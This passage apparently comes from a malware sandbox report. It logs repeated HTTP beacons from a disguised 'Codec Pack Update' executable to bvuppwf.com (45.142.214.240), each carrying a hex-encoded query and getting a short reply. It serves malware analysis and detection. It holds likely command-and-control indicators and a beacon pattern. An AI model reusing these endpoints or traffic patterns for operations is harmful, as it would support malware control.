Mar 29, 2024 12:59:13.121896029 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:13.428590059 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:13.760736942 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:14.055845976 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:14.168811083 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:14.470607996 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:14.816267967 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:15.117500067 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49761	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:15.452589989 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:15.754421949 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49762	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:16.093878984 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:16.402996063 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:16.512774944 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:16.811521053 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:16.918884993 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:17.222748041 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:17.561358929 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:17.862667084 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:18.201076984 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:18.507728100 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:18.842102051 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:19.143948078 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:19.483683109 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:19.782752991 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:20.124058962 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:20.427427053 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49768	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:20.762171030 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:21.058628082 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49769	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:21.394081116 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:21.699054003 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49770	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:22.033828974 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:22.338841915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49771	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:22.684058905 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:22.981014013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:23.090769053 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:23.392504930 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49772	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:23.732156038 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:24.030029058 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:24.138039112 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:24.440438032 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49773	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:24.777762890 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:25.074517965 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:25.184508085 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:25.488177061 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49774	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:25.828412056 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:26.128143072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49775	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:26.471385002 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:26.782794952 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49776	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:27.122910023 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:27.429785967 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49777	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:27.762065887 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:28.060153961 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:28.169307947 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:28.470686913 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49778	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:28.814022064 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:29.115170956 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
